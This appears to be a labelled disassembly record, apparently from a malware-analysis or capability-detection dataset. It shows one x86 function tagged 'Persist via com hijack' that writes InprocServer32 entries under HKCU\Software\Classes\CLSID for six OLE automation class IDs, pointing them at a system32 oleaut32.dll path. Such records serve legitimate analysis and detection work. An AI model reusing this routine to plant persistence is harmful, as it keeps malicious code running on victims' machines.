Function at 0x411e6d
Capabilities:
Persist via com hijack
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a7c
call fcn.0041d9b0
mov eax, dword [0x4444c4]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1a7c], ecx
push str.windir
call fcn.0041da76
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x218], ax
push 0x206
push 0
lea eax, [ebp - 0x216]
push eax
call fcn.0041d130
add esp, 0xc
push dword [ebp - 4]
push 0x104
lea eax, [ebp - 0x218]
push eax
call fcn.0041d850
add esp, 0xc
push str._system32oleaut32.dll
push 0x104
lea eax, [ebp - 0x218]
push eax
call fcn.0041d7db
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 0xf013f
push 0
push str.SoftwareClassesCLSID00020420_0000_0000_C000_000000000046InprocServer32
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x411f77
lea eax, [ebp - 0x218]
push eax
push 0x100
lea eax, [ebp - 0x420]
push eax
call fcn.0041d850
add esp, 0xc
mov dword [ebp - 0x21c], 0x200
push dword [ebp - 0x21c]
lea eax, [ebp - 0x420]
push eax
push 1
push 0
push 0x43bb1c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x21c]
lea eax, [ebp - 0x420]
push eax
push 1
push 0
push str.InprocServer32
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41200f
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SoftwareClassesCLSID00020420_0000_0000_C000_000000000046InprocServer32
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x41200f
lea eax, [ebp - 0x218]
push eax
push 0x100
lea eax, [ebp - 0x628]
push eax
call fcn.0041d850
add esp, 0xc
mov dword [ebp - 0x428], 0x200
push dword [ebp - 0x428]
lea eax, [ebp - 0x628]
push eax
push 1
push 0
push 0x43bb1c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x428]
lea eax, [ebp - 0x628]
push eax
push 1
push 0
push str.InprocServer32
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
push 0xf013f
push 0
push str.SoftwareClassesCLSID00020421_0000_0000_C000_000000000046InprocServer32
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41209f
lea eax, [ebp - 0x218]
push eax
push 0x100
lea eax, [ebp - 0x830]
push eax
call fcn.0041d850
add esp, 0xc
mov dword [ebp - 0x62c], 0x200
push dword [ebp - 0x62c]
lea eax, [ebp - 0x830]
push eax
push 1
push 0
push 0x43bb1c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x62c]
lea eax, [ebp - 0x830]
push eax
push 1
push 0
push str.InprocServer32
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x412137
lea eax, [ebp - 0x834]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SoftwareClassesCLSID00020421_0000_0000_C000_000000000046InprocServer32
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x412137
lea eax, [ebp - 0x218]
push eax
push 0x100
lea eax, [ebp - 0xa38]
push eax
call fcn.0041d850
add esp, 0xc
mov dword [ebp - 0x838], 0x200
push dword [ebp - 0x838]
lea eax, [ebp - 0xa38]
push eax
push 1
push 0
push 0x43bb1c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x838]
lea eax, [ebp - 0xa38]
push eax
push 1
push 0
push str.InprocServer32
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
push 0xf013f
push 0
push str.SoftwareClassesCLSID00020422_0000_0000_C000_000000000046InprocServer32
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4121c7
lea eax, [ebp - 0x218]
push eax
push 0x100
lea eax, [ebp - 0xc40]
push eax
call fcn.0041d850
add esp, 0xc
mov dword [ebp - 0xa3c], 0x200
push dword [ebp - 0xa3c]
lea eax, [ebp - 0xc40]
push eax
push 1
push 0
push 0x43bb1c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xa3c]
lea eax, [ebp - 0xc40]
push eax
push 1
push 0
push str.InprocServer32
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41225f
lea eax, [ebp - 0xc44]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SoftwareClassesCLSID00020422_0000_0000_C000_000000000046InprocServer32
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x41225f
lea eax, [ebp - 0x218]
push eax
push 0x100
lea eax, [ebp - 0xe48]
push eax
call fcn.0041d850
add esp, 0xc
mov dword [ebp - 0xc48], 0x200
push dword [ebp - 0xc48]
lea eax, [ebp - 0xe48]
push eax
push 1
push 0
push 0x43bb1c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc48]
lea eax, [ebp - 0xe48]
push eax
push 1
push 0
push str.InprocServer32
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
push 0xf013f
push 0
push str.SoftwareClassesCLSID00020423_0000_0000_C000_000000000046InprocServer32
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4122ef
lea eax, [ebp - 0x218]
push eax
push 0x100
lea eax, [ebp - 0x1050]
push eax
call fcn.0041d850
add esp, 0xc
mov dword [ebp - 0xe4c], 0x200
push dword [ebp - 0xe4c]
lea eax, [ebp - 0x1050]
push eax
push 1
push 0
push 0x43bb1c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xe4c]
lea eax, [ebp - 0x1050]
push eax
push 1
push 0
push str.InprocServer32
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x412387
lea eax, [ebp - 0x1054]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SoftwareClassesCLSID00020423_0000_0000_C000_000000000046InprocServer32
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x412387
lea eax, [ebp - 0x218]
push eax
push 0x100
lea eax, [ebp - 0x1258]
push eax
call fcn.0041d850
add esp, 0xc
mov dword [ebp - 0x1058], 0x200
push dword [ebp - 0x1058]
lea eax, [ebp - 0x1258]
push eax
push 1
push 0
push 0x43bb1c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x1058]
lea eax, [ebp - 0x1258]
push eax
push 1
push 0
push str.InprocServer32
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
push 0xf013f
push 0
push str.SoftwareClassesCLSID00020424_0000_0000_C000_000000000046InprocServer32
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x412417
lea eax, [ebp - 0x218]
push eax
push 0x100
lea eax, [ebp - 0x1460]
push eax
call fcn.0041d850
add esp, 0xc
mov dword [ebp - 0x125c], 0x200
push dword [ebp - 0x125c]
lea eax, [ebp - 0x1460]
push eax
push 1
push 0
push 0x43bb1c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x125c]
lea eax, [ebp - 0x1460]
push eax
push 1
push 0
push str.InprocServer32
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4124af
lea eax, [ebp - 0x1464]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SoftwareClassesCLSID00020424_0000_0000_C000_000000000046InprocServer32
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4124af
lea eax, [ebp - 0x218]
push eax
push 0x100
lea eax, [ebp - 0x1668]
push eax
call fcn.0041d850
add esp, 0xc
mov dword [ebp - 0x1468], 0x200
push dword [ebp - 0x1468]
lea eax, [ebp - 0x1668]
push eax
push 1
push 0
push 0x43bb1c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x1468]
lea eax, [ebp - 0x1668]
push eax
push 1
push 0
push str.InprocServer32
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
push 0xf013f
push 0
push str.SoftwareClassesCLSID00020425_0000_0000_C000_000000000046InprocServer32
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41253f
lea eax, [ebp - 0x218]
push eax
push 0x100
lea eax, [ebp - 0x1870]
push eax
call fcn.0041d850
add esp, 0xc
mov dword [ebp - 0x166c], 0x200
push dword [ebp - 0x166c]
lea eax, [ebp - 0x1870]
push eax
push 1
push 0
push 0x43bb1c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x166c]
lea eax, [ebp - 0x1870]
push eax
push 1
push 0
push str.InprocServer32
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4125d7
lea eax, [ebp - 0x1874]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SoftwareClassesCLSID00020425_0000_0000_C000_000000000046InprocServer32
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4125d7
lea eax, [ebp - 0x218]
push eax
push 0x100
lea eax, [ebp - 0x1a78]
push eax
call fcn.0041d850
add esp, 0xc
mov dword [ebp - 0x1878], 0x200
push dword [ebp - 0x1878]
lea eax, [ebp - 0x1a78]
push eax
push 1
push 0
push 0x43bb1c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x1878]
lea eax, [ebp - 0x1a78]
push eax
push 1
push 0
push str.InprocServer32
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041c438
leave
ret